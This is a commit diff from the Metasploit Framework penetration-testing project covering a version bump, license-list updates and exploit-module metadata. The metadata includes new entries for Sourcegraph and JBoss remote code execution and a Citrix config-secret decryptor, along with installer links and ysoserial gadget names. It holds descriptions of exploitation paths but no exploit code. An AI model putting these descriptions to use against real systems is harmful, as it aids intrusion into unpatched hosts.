Compare commits
85 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| c675c104d3 | |||
| 1103f525a6 | |||
| 346cbc287f | |||
| 662c8bbd87 | |||
| d8cc88a8cd | |||
| 8f3a0e3856 | |||
| b596a2f59c | |||
| 819d1fa2dd | |||
| 9a6013b153 | |||
| 3f52cc80a2 | |||
| 443920850c | |||
| d227f0aaa2 | |||
| f18392adb1 | |||
| ccef129807 | |||
| 88c2d8148c | |||
| fdd7a863c8 | |||
| a75a99de89 | |||
| 52fd45b7ab | |||
| 7df6d73741 | |||
| 44abcfcb28 | |||
| d297adcebb | |||
| 5337571bff | |||
| 439606b2ac | |||
| 171f81803a | |||
| 44e4714b9b | |||
| 48cefee585 | |||
| 1416b5776d | |||
| 57e66296ef | |||
| 39f288bfe3 | |||
| 3e66fc8f4e | |||
| 63734832b2 | |||
| 9d979fdf4f | |||
| 27ad62c964 | |||
| 172ee9a73b | |||
| 781597bc0e | |||
| 489d5e023d | |||
| 728cf97f6e | |||
| d6b6f47b09 | |||
| 2f7cf90b7f | |||
| 234a83401b | |||
| f958b0a053 | |||
| 52ac281991 | |||
| 43983b6cb6 | |||
| 4da72a9b01 | |||
| 2296db8ee3 | |||
| bec15d18bc | |||
| 87f32cbf54 | |||
| 6db340508f | |||
| 887db0b76e | |||
| 3ad42dd153 | |||
| cdd12b3b11 | |||
| f319d6e509 | |||
| e7134d5244 | |||
| 7d32338702 | |||
| bc5a8f6fc9 | |||
| a8c2b3bdff | |||
| a41f655060 | |||
| bbf56c7f4c | |||
| 1ccc91d23c | |||
| 50ca5f0ce2 | |||
| b8834e1534 | |||
| 066d01b7b2 | |||
| 789397a445 | |||
| 8bd0be9837 | |||
| f2419785ba | |||
| 0ea033be55 | |||
| 12522d1407 | |||
| 48598b8c5b | |||
| 17f82a900e | |||
| f6b6ad4bf1 | |||
| b56242c7a2 | |||
| 1856baf4b9 | |||
| 8e32beeeef | |||
| 9b909131ff | |||
| 0e3fdd0799 | |||
| bbbec267b6 | |||
| d14e610230 | |||
| a9d3e7c758 | |||
| fae64d5e9b | |||
| e5f0378146 | |||
| 938090dacb | |||
| 6ae35e23fe | |||
| 37234985e6 | |||
| b66fb886dc | |||
| 71acc02c96 |
+1
-1
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.2.6)
|
||||
metasploit-framework (6.2.7)
|
||||
actionpack (~> 6.0)
|
||||
activerecord (~> 6.0)
|
||||
activesupport (~> 6.0)
|
||||
|
||||
+3
-3
@@ -70,7 +70,7 @@ memory_profiler, 1.0.0, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 4.0.4, "New BSD"
|
||||
metasploit-credential, 5.0.7, "New BSD"
|
||||
metasploit-framework, 6.2.6, "New BSD"
|
||||
metasploit-framework, 6.2.7, "New BSD"
|
||||
metasploit-model, 4.0.4, "New BSD"
|
||||
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 5.0.5, "New BSD"
|
||||
@@ -125,7 +125,7 @@ rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.28, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.30, "New BSD"
|
||||
rex-exploitation, 0.1.31, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
@@ -155,7 +155,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.1.5, "New BSD"
|
||||
ruby_smb, 3.1.6, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
|
||||
+220
-24
@@ -447,6 +447,54 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/citrix/citrix_netscaler_config_decrypt": {
|
||||
"name": "Decrypt Citrix NetScaler Config Secrets",
|
||||
"fullname": "auxiliary/admin/citrix/citrix_netscaler_config_decrypt",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2022-05-19",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"npm <npm@cesium137.io>"
|
||||
],
|
||||
"description": "This module takes a Citrix NetScaler ns.conf configuration file as\n input and extracts secrets that have been stored with reversible\n encryption. The module supports legacy NetScaler encryption (RC4)\n as well as the newer AES-256-ECB and AES-256-CBC encryption types.\n It is also possible to decrypt secrets protected by the Key\n Encryption Key (KEK) method, provided the key fragment files F1.key\n and F2.key are provided.",
|
||||
"references": [
|
||||
"URL-https://dozer.nz/posts/citrix-decrypt/",
|
||||
"URL-https://www.ferroquesystems.com/resource/citrix-adc-security-kek-files/"
|
||||
],
|
||||
"platform": "BSD",
|
||||
"arch": "",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-07-13 08:36:18 +0000",
|
||||
"path": "/modules/auxiliary/admin/citrix/citrix_netscaler_config_decrypt.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "admin/citrix/citrix_netscaler_config_decrypt",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_admin/db2/db2rcmd": {
|
||||
"name": "IBM DB2 db2rcmd.exe Command Execution Vulnerability",
|
||||
"fullname": "auxiliary/admin/db2/db2rcmd",
|
||||
@@ -16944,11 +16992,13 @@
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Nixawk"
|
||||
"Nixawk",
|
||||
"e2002e",
|
||||
"Christophe De La Fuente"
|
||||
],
|
||||
"description": "The module use the Censys REST API to access the same data\n accessible through web interface. The search endpoint allows searches\n against the current data in the IPv4, Top Million Websites, and\n Certificates indexes using the same search syntax as the primary site.",
|
||||
"description": "The module uses the Censys REST API to access the same data accessible\n through the web interface. The search endpoint allows queries using\n the Censys Search Language against the Hosts dataset. Setting the\n CERTIFICATES option will also retrieve the certificate details for each\n relevant service by querying the Certificates dataset.",
|
||||
"references": [
|
||||
"URL-https://censys.io/api"
|
||||
"URL-https://search.censys.io"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -16960,7 +17010,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2021-01-28 10:35:25 +0000",
|
||||
"mod_time": "2022-07-04 17:19:16 +0000",
|
||||
"path": "/modules/auxiliary/gather/censys_search.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/censys_search",
|
||||
@@ -16968,6 +17018,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
|
||||
],
|
||||
"Reliability": [
|
||||
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": false
|
||||
@@ -17247,7 +17306,8 @@
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"mekhalleh (RAMELLA Sébastien)"
|
||||
"mekhalleh (RAMELLA Sébastien)",
|
||||
"Yvain"
|
||||
],
|
||||
"description": "This module can be useful if you need to test the security of your server and your\n website behind a solution Cloud based. By discovering the origin IP address of the\n targeted host.\n\n More precisely, this module uses multiple data sources (in order ViewDNS.info, DNS enumeration\n and Censys) to collect assigned (or have been assigned) IP addresses from the targeted site or domain\n that uses the following:\n * Cloudflare, Amazon CloudFront, ArvanCloud, Envoy Proxy, Fastly, Stackpath Fireblade,\n Stackpath MaxCDN, Imperva Incapsula, InGen Security (BinarySec EasyWAF), KeyCDN, Microsoft AzureCDN,\n Netlify and Sucuri.",
|
||||
"references": [
|
||||
@@ -17263,7 +17323,7 @@
|
||||
"dns"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-03-10 18:03:35 +0000",
|
||||
"mod_time": "2022-06-23 17:27:47 +0000",
|
||||
"path": "/modules/auxiliary/gather/cloud_lookup.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/cloud_lookup",
|
||||
@@ -22741,7 +22801,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2022-05-24 19:01:36 +0000",
|
||||
"mod_time": "2022-07-08 09:56:51 +0000",
|
||||
"path": "/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/discovery/ipv6_neighbor",
|
||||
@@ -66741,6 +66801,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/sourcegraph_gitserver_sshcmd": {
|
||||
"name": "Sourcegraph gitserver sshCommand RCE",
|
||||
"fullname": "exploit/linux/http/sourcegraph_gitserver_sshcmd",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2022-02-18",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Altelus1",
|
||||
"Spencer McIntyre"
|
||||
],
|
||||
"description": "A vulnerability exists within Sourcegraph's gitserver component that allows a remote attacker to execute\n arbitrary OS commands by modifying the core.sshCommand value within the git configuration. This command can\n then be triggered on demand by executing a git push operation. The vulnerability was patched by introducing a\n feature flag in version 3.37.0. This flag must be enabled for the protections to be in place which filter the\n commands that are able to be executed through the git exec REST API.",
|
||||
"references": [
|
||||
"CVE-2022-23642",
|
||||
"URL-https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-qcmp-fx72-q8q9",
|
||||
"URL-https://github.com/Altelus1/CVE-2022-23642"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 3178,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Automatic",
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2022-07-11 09:48:08 +0000",
|
||||
"path": "/modules/exploits/linux/http/sourcegraph_gitserver_sshcmd.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/sourcegraph_gitserver_sshcmd",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/spark_unauth_rce": {
|
||||
"name": "Apache Spark Unauthenticated Command Execution",
|
||||
"fullname": "exploit/linux/http/spark_unauth_rce",
|
||||
@@ -81916,7 +82040,7 @@
|
||||
"Daniil Dmitriev",
|
||||
"Dmitry (rrock) Shchannikov"
|
||||
],
|
||||
"description": "Widget Connector Macro is part of Atlassian Confluence Server and Data Center that\n allows embed online videos, slideshows, photostreams and more directly into page.\n A _template parameter can be used to inject remote Java code into a Velocity template,\n and gain code execution. Authentication is unrequired to exploit this vulnerability.\n By default, Java payload will be used because it is cross-platform, but you can also\n specify which native payload you want (Linux or Windows).\n\n Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version\n 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.\n\n This vulnerability was originally discovered by Daniil Dmitriev\n https://twitter.com/ddv_ua.",
|
||||
"description": "Widget Connector Macro is part of Atlassian Confluence Server and Data Center that\n allows embed online videos, slideshows, photostreams and more directly into page.\n A _template parameter can be used to inject remote Java code into a Velocity template,\n and gain code execution. Authentication is unrequired to exploit this vulnerability.\n By default, Java payload will be used because it is cross-platform, but you can also\n specify which native payload you want (Linux or Windows).\n\n Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version\n 6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.\n\n This vulnerability was originally discovered by Daniil Dmitriev\n https://twitter.com/ddv_ua.",
|
||||
"references": [
|
||||
"CVE-2019-3396",
|
||||
"URL-https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html",
|
||||
@@ -81946,7 +82070,7 @@
|
||||
"Windows",
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-01 08:43:47 +0000",
|
||||
"path": "/modules/exploits/multi/http/confluence_widget_connector.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/confluence_widget_connector",
|
||||
@@ -81954,6 +82078,16 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"artifacts-on-disk",
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
@@ -90655,7 +90789,7 @@
|
||||
"Windows Universal",
|
||||
"Linux Universal"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/multi/http/struts_code_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/struts_code_exec",
|
||||
@@ -90773,7 +90907,7 @@
|
||||
"Linux Universal",
|
||||
"Java Universal"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/struts_code_exec_exception_delegator",
|
||||
@@ -95397,6 +95531,59 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/misc/jboss_remoting_unified_invoker_rce": {
|
||||
"name": "JBOSS EAP/AS Remoting Unified Invoker RCE",
|
||||
"fullname": "exploit/multi/misc/jboss_remoting_unified_invoker_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-12-11",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Joao Matos <@joaomatosf>",
|
||||
"Marcio Almeida <@marcioalm>",
|
||||
"Heyder Andrade <@HeyderAndrade>"
|
||||
],
|
||||
"description": "An unauthenticated attacker with network access to the JBOSS\n EAP/AS <= 6.x Remoting Unified Invoker interface can send a\n serialized object to the interface to execute code on vulnerable hosts.",
|
||||
"references": [
|
||||
"URL-https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x86, x64",
|
||||
"rport": 4446,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2022-07-12 09:08:19 +0000",
|
||||
"path": "/modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/jboss_remoting_unified_invoker_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/misc/legend_bot_exec": {
|
||||
"name": "Legend Perl IRC Bot Remote Code Execution",
|
||||
"fullname": "exploit/multi/misc/legend_bot_exec",
|
||||
@@ -96127,9 +96314,9 @@
|
||||
"author": [
|
||||
"Andres Rodriguez - 2Secure (@acamro) <acamro@gmail.com>"
|
||||
],
|
||||
"description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n interface can send a malicious SOAP request to the interface WLS AsyncResponseService\n to execute code on the vulnerable host.",
|
||||
"description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n interface can send a malicious SOAP request to the interface WLS AsyncResponseService\n to execute code on the vulnerable host.",
|
||||
"references": [
|
||||
"CVE-2017-10271",
|
||||
"CVE-2019-2725",
|
||||
"CNVD-C-2019-48814",
|
||||
"URL-http://www.cnvd.org.cn/webinfo/show/4999",
|
||||
"URL-https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html",
|
||||
@@ -96158,7 +96345,7 @@
|
||||
"Windows",
|
||||
"Solaris"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-07 18:05:56 +0000",
|
||||
"path": "/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/misc/weblogic_deserialize_asyncresponseservice",
|
||||
@@ -96166,6 +96353,15 @@
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
@@ -103244,7 +103440,7 @@
|
||||
"Erik de Jong",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits LFI and log poisoning vulnerabilities\n (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a\n build-242466 and older in order to achieve unauthenticated remote\n code execution as the root user. NetConfig is the Aerohive/Extreme\n Networks HiveOS administrative webinterface. Vulnerable versions\n allow for LFI because they rely on a version of PHP 5 that is\n vulnerable to string truncation attacks. This module leverages this\n issue in conjunction with log poisoning to gain RCE as root.\n\n Upon successful exploitation, the Aerohive NetConfig application\n will hang for as long as the spawned shell remains open. Closing\n the session should render the app responsive again.\n\n The module provides an automatic cleanup option to clean the log.\n However, this option is disabled by default because any modifications\n to the /tmp/messages log, even via sed, may render the target\n (temporarily) unexploitable. This state can last over an hour.\n\n This module has been successfully tested against Aerohive NetConfig\n versions 8.2r4 and 10.0r7a.",
|
||||
"description": "This module exploits LFI and log poisoning vulnerabilities\n (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a\n build-242466 and older in order to achieve unauthenticated remote\n code execution as the root user. NetConfig is the Aerohive/Extreme\n Networks HiveOS administrative webinterface. Vulnerable versions\n allow for LFI because they rely on a version of PHP 5 that is\n vulnerable to string truncation attacks. This module leverages this\n issue in conjunction with log poisoning to gain RCE as root.\n\n Upon successful exploitation, the Aerohive NetConfig application\n may hang for as long as the spawned shell remains open. For the\n Linux target, the MeterpreterTryToFork option (enabled by default)\n will likely prevent this. If the app hangs, closing the session\n should render it responsive again.\n\n The module provides an automatic cleanup option to clean the log.\n However, this option is disabled by default because any modifications\n to the /tmp/messages log, even via sed, may render the target\n (temporarily) unexploitable. This state can last over an hour.\n\n This module has been successfully tested against Aerohive NetConfig\n versions 8.2r4 and 10.0r7a.",
|
||||
"references": [
|
||||
"CVE-2020-16152",
|
||||
"URL-https://github.com/eriknl/CVE-2020-16152"
|
||||
@@ -103271,7 +103467,7 @@
|
||||
"Linux",
|
||||
"CMD"
|
||||
],
|
||||
"mod_time": "2021-11-02 19:58:16 +0000",
|
||||
"mod_time": "2022-07-01 06:15:13 +0000",
|
||||
"path": "/modules/exploits/unix/webapp/aerohive_netconfig_lfi_log_poison_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "unix/webapp/aerohive_netconfig_lfi_log_poison_rce",
|
||||
@@ -111512,7 +111708,7 @@
|
||||
"targets": [
|
||||
"Windows Universal"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/antivirus/ams_xfr.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/antivirus/ams_xfr",
|
||||
@@ -137186,7 +137382,7 @@
|
||||
"targets": [
|
||||
"Windows Universal"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/ca_totaldefense_regeneratereports",
|
||||
@@ -143939,7 +144135,7 @@
|
||||
"targets": [
|
||||
"Windows Universal"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/http/osb_uname_jlist.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/osb_uname_jlist",
|
||||
@@ -147138,7 +147334,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-10-06 13:43:31 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/iis/msadc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/iis/msadc",
|
||||
@@ -153140,7 +153336,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-06-29 19:18:47 +0000",
|
||||
"path": "/modules/exploits/windows/local/run_as.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/local/run_as",
|
||||
@@ -154408,7 +154604,7 @@
|
||||
"targets": [
|
||||
"Windows 2003 (with tftp client available)"
|
||||
],
|
||||
"mod_time": "2021-09-08 21:56:02 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/misc/altiris_ds_sqli.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/misc/altiris_ds_sqli",
|
||||
@@ -159458,7 +159654,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-06-29 19:10:52 +0000",
|
||||
"path": "/modules/exploits/windows/mssql/mssql_payload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/mssql/mssql_payload",
|
||||
@@ -163062,7 +163258,7 @@
|
||||
"targets": [
|
||||
"Windows 2000 SP2-SP4 + Windows XP SP0-SP1"
|
||||
],
|
||||
"mod_time": "2020-10-02 17:38:06 +0000",
|
||||
"mod_time": "2022-07-10 00:07:26 +0000",
|
||||
"path": "/modules/exploits/windows/smb/ms04_007_killbill.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/smb/ms04_007_killbill",
|
||||
|
||||
@@ -12,8 +12,10 @@ The pgp signatures below can be verified with the following [public key](https:/
|
||||
|
||||
|Download Link|File Type|SHA1|PGP|
|
||||
|-|-|-|-|
|
||||
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.1-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.21.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.21.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.21.0-2022052401-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.20.0-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-windows-x64-installer.exe.asc)|
|
||||
| [metasploit-4.20.0-linux-x64-installer.run](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run) | Linux 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.20.0-2021112001-linux-x64-installer.run.asc)|
|
||||
| [metasploit-4.19.1-windows-x64-installer.exe](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe) | Windows 64-bit | [SHA1](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.sha1) | [PGP](https://downloads.metasploit.com/data/releases/archive/metasploit-4.19.1-2021073101-windows-x64-installer.exe.asc)|
|
||||
|
||||
@@ -29,7 +29,7 @@ Once the serialized object is generated and stored as `java_payload`, it's then
|
||||
### `#generate_java_deserialization_for_payload(name, payload)`
|
||||
This method will generate a serialized Java object that when loaded will execute the specified Metasploit payload. The payload will be converted to an operating system command using one of the supported techniques contained within this method and then passed to [`#generate_java_deserialization_for_command`](#generate_java_deserialization_for_commandname-shell-command).
|
||||
|
||||
- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support.
|
||||
- **name** - The payload name parameter must be one of the supported payloads stored in the `ysoserial` cache. As of this writing, the list includes: `BeanShelll1`, `Clogure`, `CommonsBeanutils1`, `CommonsCollections2`, `CommonsCollections3`, `CommonsCollections4`, `CommonsCollections5`, `CommonsCollections6`, `Groovy1`, `Hibernate1`, `JBossInterceptors1`, `JRMPClient`, `JSON1`, `JavassistWeld1`, `Jdk7u21`, `MozillaRhino1`, `Myfaces1`, `ROME`, `Spring1`, `Spring2`, and `Vaadin1`. While `ysoserial` includes additional payloads that are not listed above, they are unsupported by the library due to the need for complex inputs. Should there be use cases for additional payloads, please consider opening an issue and submitting a pull request to add support.
|
||||
|
||||
- **payload** - The payload object to execute on the remote system. This is the native Metasploit payload object and it will be automatically converted to an operating system command using a technique suitable for the target platform and architecture. For example, x86 Windows payloads will be converted using a Powershell command. Not all platforms and architecture combinations are supported. Unsupported combinations will result in a `RuntimeError` being raised which will need to be handled by the module developer.
|
||||
|
||||
@@ -169,4 +169,4 @@ DONE! Successfully generated 0 static payloads and 22 dynamic payloads. Skippe
|
||||
